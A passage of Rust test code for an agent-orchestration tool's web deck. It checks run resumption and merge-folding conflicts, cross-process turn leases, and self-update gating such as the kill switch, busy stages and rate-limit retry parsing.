21354 async fn fold_merged_is_404_for_an_unknown_run() {
21355 let fx = Fixture::start().await;
21356 let res = fx
21357 .post(
21358 "/api/runs/nosuchrun/fold-merged",
21359 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21360 )
21361 .await;
21362 assert_eq!(res.status, 404, "{}", res.body);
21363 }
21364
21365 #[tokio::test]
21366 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21367 let fx = Fixture::start().await;
21368 let runs = fx.runs();
21369 let id = "20260901-000000-livemerge";
21370 write_run(&runs, id, RunStatus::Blocked);
21371
21372 let mut beat = crate::daemon::Status::new();
21373 beat.current = vec![crate::daemon::Current {
21374 task: "20260901-000000-task".to_owned(),
21375 run: id.to_owned(),
21376 }];
21377 beat.updated_at = jiff::Timestamp::now();
21378 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21379 .expect("publish a heartbeat");
21380
21381 let res = fx
21382 .post(
21383 &format!("/api/runs/{id}/fold-merged"),
21384 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21385 )
21386 .await;
21387 assert_eq!(res.status, 409, "{}", res.body);
21388 assert!(
21389 res.json()["error"]
21390 .as_str()
21391 .unwrap()
21392 .contains("live daemon"),
21393 "correcting a run's merge underneath a running agent would race \
21394 whatever it is doing to the same `status`/`merge` fields"
21395 );
21396 }
21397
21398 #[tokio::test]
21403 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21404 let fx = Fixture::start().await;
21405 let runs = fx.runs();
21406 let id = "20260901-000000-unconfirmed";
21407 write_run(&runs, id, RunStatus::Blocked);
21408
21409 let res = fx
21410 .post(
21411 &format!("/api/runs/{id}/fold-merged"),
21412 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21413 )
21414 .await;
21415 assert_eq!(res.status, 400, "{}", res.body);
21416 assert_eq!(
21417 read_run(&runs, id).unwrap().status,
21418 RunStatus::Blocked,
21419 "a pull request that could not be confirmed merged must leave \
21420 the run exactly where it was"
21421 );
21422 }
21423
21424 #[tokio::test]
21425 async fn terminal_runs_cannot_be_resumed() {
21426 let fx = Fixture::start().await;
21427 let runs = fx.runs();
21428
21429 for (status, word) in [
21430 (RunStatus::Merged, "merged"),
21431 (RunStatus::Ready, "ready"),
21432 (RunStatus::Failed, "failed"),
21433 ] {
21434 let id = format!("20260901-000000-{}", &word[..4]);
21435 write_run(&runs, &id, status);
21436 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21437 assert_eq!(res.status, 409, "{word} must not be resumable");
21438 }
21439 }
21440
21441 #[tokio::test]
21442 async fn resume_is_refused_while_the_loop_is_running() {
21443 let fx = Fixture::start().await;
21444 let runs = fx.runs();
21445 let stalled = "20260901-000000-stal";
21446 write_run(&runs, stalled, RunStatus::Stalled);
21447
21448 let mut beat = crate::daemon::Status::new();
21452 beat.current = vec![crate::daemon::Current {
21453 task: "20260901-000000-task".to_owned(),
21454 run: "20260901-000000-othr".to_owned(),
21455 }];
21456 beat.updated_at = jiff::Timestamp::now();
21457 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21458 .expect("publish a heartbeat");
21459
21460 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21461 assert_eq!(res.status, 409);
21462 let err = res.json()["error"].as_str().unwrap().to_owned();
21463 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21464 assert!(err.contains("stop it first"), "{err}");
21465 }
21466
21467 #[test]
21468 fn a_run_cannot_be_resumed_twice_at_once() {
21469 let home = TempDir::new().expect("temp home");
21470 let ui = Ui::new(
21471 Queue::at(home.path().join("queue")),
21472 Questions::at(home.path().join("questions")),
21473 Talks::at(home.path().join("talks")),
21474 home.path().join("runs"),
21475 home.path().to_path_buf(),
21476 PathBuf::from("/repo"),
21477 )
21478 .with_worktrees_root(home.path().join("wt"));
21479 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21480 let again = ui.begin_resume("20260901-000000-once");
21481 assert!(again.is_err(), "a second tap must not start a second graph");
21482 drop(first);
21483 assert!(
21484 ui.begin_resume("20260901-000000-once").is_ok(),
21485 "and the claim is released when the attempt ends"
21486 );
21487 }
21488
21489 #[test]
21490 fn talk_thinking_tracks_only_its_held_turn_claim() {
21491 let home = TempDir::new().expect("temp home");
21492 let ui = Ui::new(
21493 Queue::at(home.path().join("queue")),
21494 Questions::at(home.path().join("questions")),
21495 Talks::at(home.path().join("talks")),
21496 home.path().join("runs"),
21497 home.path().to_path_buf(),
21498 PathBuf::from("/repo"),
21499 )
21500 .with_worktrees_root(home.path().join("wt"));
21501 let id = "20260901-000000-once";
21502
21503 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21504 let turn = ui.begin_talk_turn(id).expect("claim turn");
21505 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21506 assert!(
21507 !ui.is_thinking("20260901-000000-other"),
21508 "one talk's turn does not make another talk busy"
21509 );
21510 drop(turn);
21511 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21512 }
21513
21514 #[test]
21515 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21516 let home = TempDir::new().expect("temp home");
21517 let talks = Talks::at(home.path().join("talks"));
21518 let ui = Ui::new(
21519 Queue::at(home.path().join("queue")),
21520 Questions::at(home.path().join("questions")),
21521 talks.clone(),
21522 home.path().join("runs"),
21523 home.path().to_path_buf(),
21524 PathBuf::from("/repo"),
21525 )
21526 .with_worktrees_root(home.path().join("wt"));
21527 let id = "20260901-000000-cross";
21528
21529 let other = Talks::at(home.path().join("talks"))
21530 .claim_turn(id)
21531 .expect("claim")
21532 .expect("the other process wins");
21533 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21534 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21535 assert!(
21536 matches!(
21537 ui.begin_talk_turn_unless_pending(id).expect("start"),
21538 TalkTurnStart::Foreign
21539 ),
21540 "a foreign holder is refused, not queued behind"
21541 );
21542 assert!(
21543 !ui.talk_turns.lock().unwrap().live.contains(id),
21544 "a refused claim leaves no in-process entry behind"
21545 );
21546 drop(other);
21547 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21548 assert!(talks.turn_held(id), "the web turn holds the lease");
21549 drop(turn);
21550 assert!(
21551 !talks.turn_held(id),
21552 "dropping the guard releases the lease"
21553 );
21554 }
21555
21556 fn consult_question(ui: &Ui) -> Question {
21557 let mut q = Question::new(
21558 "20260901-000000-consult".to_owned(),
21559 "implement".to_owned(),
21560 "impl-A".to_owned(),
21561 "Which backend?".to_owned(),
21562 String::new(),
21563 vec!["SQLite".to_owned(), "Redis".to_owned()],
21564 );
21565 ui.questions.put(&mut q).expect("question");
21566 q
21567 }
21568
21569 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21570 (
21571 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21572 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21573 )
21574 }
21575
21576 #[tokio::test]
21577 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21578 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21579 let q = consult_question(&ui);
21580 let talk = ui.talks.get(&id).expect("talk");
21581 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21582 let before = consult_snapshot(&ui, &q, &id);
21583 let cli_talks = Talks::at(ui.home.join("talks"));
21584 assert_eq!(
21585 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21586 .await
21587 .expect("CLI starter"),
21588 crate::consult::Started::Busy
21589 );
21590 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21591 assert!(ui.is_thinking(&id));
21592 drop(guard);
21593 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21594 }
21595
21596 #[tokio::test]
21597 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21598 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21599 let q = consult_question(&ui);
21600 let talk = ui.talks.get(&id).expect("talk");
21601 let started = tmp.path().join("started");
21602 let release = tmp.path().join("release");
21603 let script = tmp.path().join("consult-agent.sh");
21604 std::fs::write(
21605 &script,
21606 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21607 )
21608 .expect("script");
21609 let mut cfg = stub_config();
21610 cfg.agents[0].id = "mock".to_owned();
21611 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21612 cfg.agents[0].env = std::collections::BTreeMap::from([
21613 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21614 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21615 ]);
21616 let questions = ui.questions.clone();
21617 let cli_talks = Talks::at(ui.home.join("talks"));
21618 let cli_q = q.clone();
21619 let turn = tokio::spawn(async move {
21620 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21621 });
21622 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21623 while !started.exists() {
21624 tokio::time::sleep(Duration::from_millis(10)).await;
21625 }
21626 })
21627 .await;
21628 let refusal = if ready.is_ok() {
21631 let before = consult_snapshot(&ui, &q, &id);
21632 let result = talk_say(
21633 State(Arc::clone(&ui)),
21634 Path(id.clone()),
21635 Ok(Json(NewTalkTurn {
21636 reply_to: None,
21637 text: "another message".to_owned(),
21638 attachments: Vec::new(),
21639 })),
21640 )
21641 .await;
21642 Some((result, before, consult_snapshot(&ui, &q, &id)))
21643 } else {
21644 None
21645 };
21646 std::fs::write(&release, "").expect("release agent");
21647 let done = turn.await.expect("join CLI turn");
21648 ready.expect("agent started before deadline");
21649 let (result, before, after) = refusal.expect("web request");
21650 let error = result.expect_err("web must refuse the CLI's turn");
21651 assert_eq!(error.status, StatusCode::CONFLICT);
21652 assert!(error.message.contains("a turn is already running"));
21653 assert_eq!(
21654 after, before,
21655 "refusal preserves question, draft and history"
21656 );
21657 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21658 let guard = ui
21659 .begin_talk_turn(&id)
21660 .expect("web claim")
21661 .expect("free again");
21662 drop(guard);
21663 }
21664
21665 #[test]
21666 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21667 let home = TempDir::new().expect("temp home");
21668 let talks = Talks::at(home.path().join("talks"));
21669 let ui = Ui::new(
21670 Queue::at(home.path().join("queue")),
21671 Questions::at(home.path().join("questions")),
21672 talks.clone(),
21673 home.path().join("runs"),
21674 home.path().to_path_buf(),
21675 PathBuf::from("/repo"),
21676 )
21677 .with_worktrees_root(home.path().join("wt"));
21678 let id = "20260901-000000-order";
21679 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21680 let slots = ui.talk_turns.lock().unwrap();
21682 let dropper = std::thread::spawn(move || drop(turn));
21683 let start = std::time::Instant::now();
21684 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21685 std::thread::sleep(Duration::from_millis(5));
21686 }
21687 assert!(!talks.turn_held(id), "the lease is released first");
21688 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21689 drop(slots);
21690 dropper.join().expect("join");
21691 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21692 }
21693
21694 #[tokio::test]
21695 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21696 let fx = Fixture::start().await;
21697 let mut beat = crate::daemon::Status::new();
21698 beat.worker_protocol = None;
21699 beat.pid = 4321;
21700 beat.updated_at = jiff::Timestamp::now();
21701 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21702 .expect("publish a heartbeat");
21703
21704 let res = fx.post("/api/upgrade", None).await;
21705 assert_eq!(res.status, 409);
21706 }
21707
21708 #[test]
21715 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21716 assert!(!should_spawn_recheck(&crate::config::Update {
21717 mode: UpdateMode::Off,
21718 interval: None,
21719 auto_restart: false,
21720 }));
21721
21722 unsafe {
21725 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21726 }
21727 let killed = should_spawn_recheck(&crate::config::Update {
21728 mode: UpdateMode::Notify,
21729 interval: None,
21730 auto_restart: false,
21731 });
21732 unsafe {
21733 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21734 }
21735 assert!(
21736 !killed,
21737 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21738 one-time startup check"
21739 );
21740
21741 assert!(should_spawn_recheck(&crate::config::Update {
21742 mode: UpdateMode::Notify,
21743 interval: None,
21744 auto_restart: false,
21745 }));
21746 }
21747
21748 #[test]
21754 fn recheck_poll_period_tracks_a_short_configured_interval() {
21755 let short = crate::config::Update {
21756 mode: UpdateMode::Notify,
21757 interval: Some("1m".to_owned()),
21758 auto_restart: false,
21759 };
21760 let period = recheck_poll_period(&short);
21761 assert!(
21762 period <= Duration::from_secs(30),
21763 "a one-minute interval must wake the task far sooner than the \
21764 default ceiling, or the deck would not notice within the \
21765 interval the operator configured: got {period:?}"
21766 );
21767
21768 let default = crate::config::Update {
21769 mode: UpdateMode::Notify,
21770 interval: None,
21771 auto_restart: false,
21772 };
21773 assert_eq!(
21774 recheck_poll_period(&default),
21775 UPDATE_RECHECK_POLL_MAX,
21776 "the default day-long interval should poll at the (capped) \
21777 ceiling rather than needlessly often"
21778 );
21779 }
21780
21781 #[test]
21789 fn recheck_skips_the_network_before_the_interval_elapses() {
21790 let dir = TempDir::new().expect("temp dir");
21791 let path = dir.path().join("state.json");
21792 let state = kaishin::UpdateCheckState {
21793 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21794 last_known_latest: None,
21795 last_known_url: None,
21796 };
21797 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21798
21799 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21800 assert!(
21801 !update_recheck_due(&checker, None),
21802 "a check made moments ago must not be repeated before the \
21803 configured interval elapses"
21804 );
21805 }
21806
21807 #[test]
21813 fn recheck_defers_to_an_upgrade_already_in_flight() {
21814 let dir = TempDir::new().expect("temp dir");
21815 let path = dir.path().join("state.json");
21816 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21817 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21818
21819 assert!(
21820 !update_recheck_due(&checker, Some(&progress)),
21821 "a recheck must not run while an upgrade this deck started is \
21822 still moving"
21823 );
21824 }
21825
21826 #[tokio::test]
21827 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21828 unsafe {
21840 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21841 }
21842 let fx = Fixture::start().await;
21843 let res = fx.post("/api/upgrade", None).await;
21844 unsafe {
21845 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21846 }
21847 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21848 let body = res.json();
21849 assert!(body["to"].is_null(), "there was no release to move to");
21850 assert!(body["parked"].is_null(), "and nothing was parked");
21851 assert!(
21852 body["detail"]
21853 .as_str()
21854 .unwrap()
21855 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21856 "{body:?}"
21857 );
21858 }
21859
21860 #[test]
21861 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
21862 use AutoUpgradeDecision::{Skip, Trigger, Wait};
21863 let mut cfg = Update::default();
21864 assert!(matches!(
21865 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
21866 Skip(_)
21867 ));
21868 cfg.auto_restart = true;
21869 assert_eq!(
21870 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
21871 Trigger
21872 );
21873 assert_eq!(
21874 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
21875 Wait
21876 );
21877 for (disabled, moving, failed) in [
21878 (true, false, None),
21879 (false, true, None),
21880 (false, false, Some("v2")),
21881 ] {
21882 assert!(matches!(
21883 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
21884 Skip(_)
21885 ));
21886 }
21887 assert_eq!(
21888 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
21889 Trigger
21890 );
21891 cfg.mode = UpdateMode::Off;
21892 assert!(matches!(
21893 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
21894 Skip(_)
21895 ));
21896 }
21897
21898 #[test]
21899 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
21900 let home = TempDir::new().unwrap();
21901 let ui = idle_ui(&home);
21902 assert!(!ui.auto_upgrade_busy());
21903 let directory = home.path().join("workers/jobs/abcdef");
21904 std::fs::create_dir_all(&directory).unwrap();
21905 let mut job = crate::worker::Job {
21906 id: "abcdef".into(),
21907 sequence: 1,
21908 kind: "scheduler".into(),
21909 key: "scheduler".into(),
21910 payload: serde_json::json!({}),
21911 generation: "test".into(),
21912 version: None,
21913 status: crate::worker::Status::Running,
21914 result: None,
21915 pid: None,
21916 created_at: 0,
21917 finished_at: None,
21918 };
21919 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
21920 let write = |job: &crate::worker::Job| {
21921 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
21922 };
21923 write(&job);
21924 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
21925 for kind in ["task", "chat"] {
21926 job.kind = kind.into();
21927 write(&job);
21928 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
21929 }
21930 drop(lease);
21931 assert!(
21932 !ui.auto_upgrade_busy(),
21933 "completed execution permits updates"
21934 );
21935 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
21936 assert!(
21937 ui.auto_upgrade_busy(),
21938 "unreadable worker state defers updates"
21939 );
21940 }
21941
21942 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
21943 Box::pin(async { anyhow::bail!("test installer failed") })
21944 }
21945
21946 #[tokio::test]
21947 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
21948 let home = TempDir::new().unwrap();
21949 std::fs::write(
21950 home.path().join("magi.toml"),
21951 "[update]\nauto_restart = true\n",
21952 )
21953 .unwrap();
21954 let mut ui = idle_ui(&home);
21955 ui.repo = home.path().to_path_buf();
21956 ui.upgrade_runner = fail_test_upgrade;
21958 let ui = Arc::new(ui);
21959 let latest = || {
21960 Some(kaishin::LatestRelease {
21961 tag_name: "v999.0.0".into(),
21962 html_url: String::new(),
21963 })
21964 };
21965 ui.talk_turns.lock().unwrap().live.insert("busy".into());
21966 assert_eq!(
21967 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21968 .await
21969 .status(),
21970 StatusCode::NO_CONTENT
21971 );
21972 assert!(updater::read_progress(home.path()).is_none());
21973 ui.talk_turns.lock().unwrap().live.clear();
21974 let gate = ui.upgrade_gate.lock().await;
21975 assert_eq!(
21976 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21977 .await
21978 .status(),
21979 StatusCode::CONFLICT
21980 );
21981 drop(gate);
21982 assert_eq!(
21983 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21984 .await
21985 .status(),
21986 StatusCode::ACCEPTED
21987 );
21988 let progress = updater::read_progress(home.path()).unwrap();
21989 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
21990 assert_eq!(progress.stage, updater::Stage::Downloading);
21991 assert!(progress.parked_run.is_none());
21992 assert!(ui.start_detached_loop().await.is_err());
21993 assert!(ui.start_loop(None).is_err());
21994 assert!(ui.begin_resume("late").is_err());
21995 tokio::time::timeout(Duration::from_secs(2), async {
21996 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
21997 tokio::task::yield_now().await;
21998 }
21999 })
22000 .await
22001 .unwrap();
22002 let progress = updater::read_progress(home.path()).unwrap();
22003 assert_eq!(progress.stage, updater::Stage::Failed);
22004 assert_eq!(
22005 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22006 .await
22007 .status(),
22008 StatusCode::NO_CONTENT
22009 );
22010 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22012 assert_eq!(
22013 finish_upgrade_request(&ui, result).status(),
22014 StatusCode::ACCEPTED
22015 );
22016 assert_eq!(
22017 updater::read_progress(home.path()).unwrap().trigger,
22018 updater::UpgradeTrigger::Manual
22019 );
22020 tokio::time::timeout(Duration::from_secs(2), async {
22021 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22022 tokio::task::yield_now().await;
22023 }
22024 })
22025 .await
22026 .unwrap();
22027 }
22028
22029 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22030 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22031 p.stage = stage;
22032 p
22033 }
22034
22035 #[test]
22036 fn busy_stages_match_the_ui_set() {
22037 use crate::updater::Stage;
22038 assert!(APP_JS.contains(
22039 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22040 ));
22041 for s in [
22042 Stage::Downloading,
22043 Stage::Replaced,
22044 Stage::Parking,
22045 Stage::Restarting,
22046 ] {
22047 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22048 }
22049 for s in [Stage::Done, Stage::Failed] {
22050 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22051 }
22052 assert!(upgrade_in_motion(None).is_none());
22053 }
22054
22055 #[tokio::test]
22056 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22057 use crate::updater::Stage;
22058 for stage in [
22059 Stage::Downloading,
22060 Stage::Replaced,
22061 Stage::Parking,
22062 Stage::Restarting,
22063 ] {
22064 let fx = Fixture::start().await;
22065 let seeded = seeded_progress(stage);
22066 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22067 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22068 .expect("read");
22069
22070 let res = fx.post("/api/upgrade", None).await;
22071 assert_eq!(res.status, 409, "{stage:?}");
22072 let err = res.json()["error"].as_str().unwrap().to_owned();
22073 assert!(err.contains("already in progress"), "{err}");
22074 assert!(err.contains(stage.as_str()), "{err}");
22075
22076 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22077 .expect("read");
22078 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22079 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22080 .unwrap_or_default();
22081 assert!(!log.contains("signalling HANDOVER"), "{log}");
22082 }
22083 }
22084
22085 #[test]
22086 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22087 assert_eq!(
22088 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22089 Some(3723)
22090 );
22091 assert_eq!(
22092 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22093 Some(60)
22094 );
22095 assert_eq!(
22096 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22097 Some(0)
22098 );
22099 for message in [
22100 "permission denied",
22101 "GitHub API rate limit exceeded",
22102 "GitHub rate limit (resets in unknown)",
22103 "GitHub rate limit (resets in 18446744073709551615d)",
22104 ] {
22105 assert_eq!(upgrade_retry_after(message), None, "{message}");
22106 }
22107 }
22108
22109 #[tokio::test]
22110 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22111 let home = TempDir::new().unwrap();
22112 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22113 ui.start_loop(None).unwrap();
22114 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22115 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22116 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22117 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22118 let response = finish_upgrade_request(&ui, result);
22119 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22120 assert_eq!(response.headers()["retry-after"], "120");
22121 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22122 .await
22123 .unwrap();
22124 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22125 assert!(body["error"].as_str().unwrap().contains(reason));
22126 assert_eq!(body["retry_after_secs"], 120);
22127 assert!(body["retry_at"].as_u64().is_some());
22128 for _ in 0..2 {
22129 let view = health(State(ui.clone())).await.unwrap().0;
22130 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22131 assert_eq!(failure, body);
22132 }
22133 assert_eq!(
22134 std::fs::read(updater::progress_path(home.path())).unwrap(),
22135 before
22136 );
22137 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22138 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22139 let gate = ui.upgrade_gate.lock().await;
22141 assert_eq!(
22142 upgrade_post(State(ui.clone())).await.status(),
22143 StatusCode::CONFLICT
22144 );
22145 drop(gate);
22146 assert!(
22147 health(State(ui.clone()))
22148 .await
22149 .unwrap()
22150 .0
22151 .upgrade_request_error
22152 .is_some()
22153 );
22154 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22155 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22156 assert!(
22157 health(State(ui.clone()))
22158 .await
22159 .unwrap()
22160 .0
22161 .upgrade_request_error
22162 .is_none()
22163 );
22164 let live = ui.lock_loop().live.take().unwrap();
22165 live.stop.stop();
22166 live.handle.await.unwrap();
22167 }
22168
22169 #[tokio::test]
22170 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22171 use crate::updater::Stage;
22172 let repo = TempDir::new().expect("repo dir");
22173 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22174 .expect("write magi.toml");
22175 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22176 for stage in [Stage::Done, Stage::Failed] {
22177 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22178 let res = fx.post("/api/upgrade", None).await;
22179 assert_eq!(res.status, 200, "{stage:?}");
22180 }
22181 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22183 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22184 }
22185
22186 #[tokio::test]
22187 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22188 let repo = TempDir::new().expect("repo dir");
22204 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22205 .expect("write magi.toml");
22206 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22207
22208 let res = fx.post("/api/upgrade", None).await;
22214 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22215 let body = res.json();
22216 assert!(body["to"].is_null(), "there was no release to move to");
22217 assert!(body["parked"].is_null(), "and nothing was parked");
22218 assert!(
22219 body["detail"]
22220 .as_str()
22221 .unwrap()
22222 .contains("nothing restarted"),
22223 "{body:?}"
22224 );
22225 }
22226
22227 #[tokio::test]
22228 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22229 let repo = TempDir::new().expect("repo dir");
22234 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22235 .expect("write magi.toml");
22236 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22237
22238 let health = fx.get("/api/health").await.json();
22239 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22240 assert_eq!(
22241 health["update"]["available"], false,
22242 "checking is off, which reads as \"unknown\", not \"none\""
22243 );
22244 assert!(health["update"]["to"].is_null());
22245 assert!(
22246 health["upgrade"].is_null(),
22247 "nothing has ever asked this deck to upgrade"
22248 );
22249 }
22250
22251 #[tokio::test]
22252 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22253 let fx = Fixture::start().await;
22254 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22255
22256 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22257 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22258 progress.advance(crate::updater::Stage::Parking);
22259 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22260
22261 let health = fx.get("/api/health").await.json();
22262 assert_eq!(health["upgrade"]["stage"], "parking");
22263 assert_eq!(health["upgrade"]["from"], "0.5.1");
22264 assert_eq!(health["upgrade"]["to"], "0.5.2");
22265 let waiting_on = health["upgrade"]["waiting_on"]
22266 .as_str()
22267 .expect("waiting_on is set while parking a known run");
22268 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22269 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22270 }
22271
22272 #[tokio::test]
22273 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22274 let fx = Fixture::start().await;
22275 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22276 progress.advance(crate::updater::Stage::Done);
22277 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22278
22279 let health = fx.get("/api/health").await.json();
22280 assert_eq!(health["upgrade"]["stage"], "done");
22281 assert!(
22282 health["upgrade"]["waiting_on"].is_null(),
22283 "nothing to wait on once it is done"
22284 );
22285 }
22286
22287 #[tokio::test]
22290 async fn the_handover_signal_wakes_one_waiter_once() {
22291 let signal = Notify::new();
22292 signal.notify_one();
22294 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22295 .await
22296 .expect("an early signal is still seen");
22297 assert!(
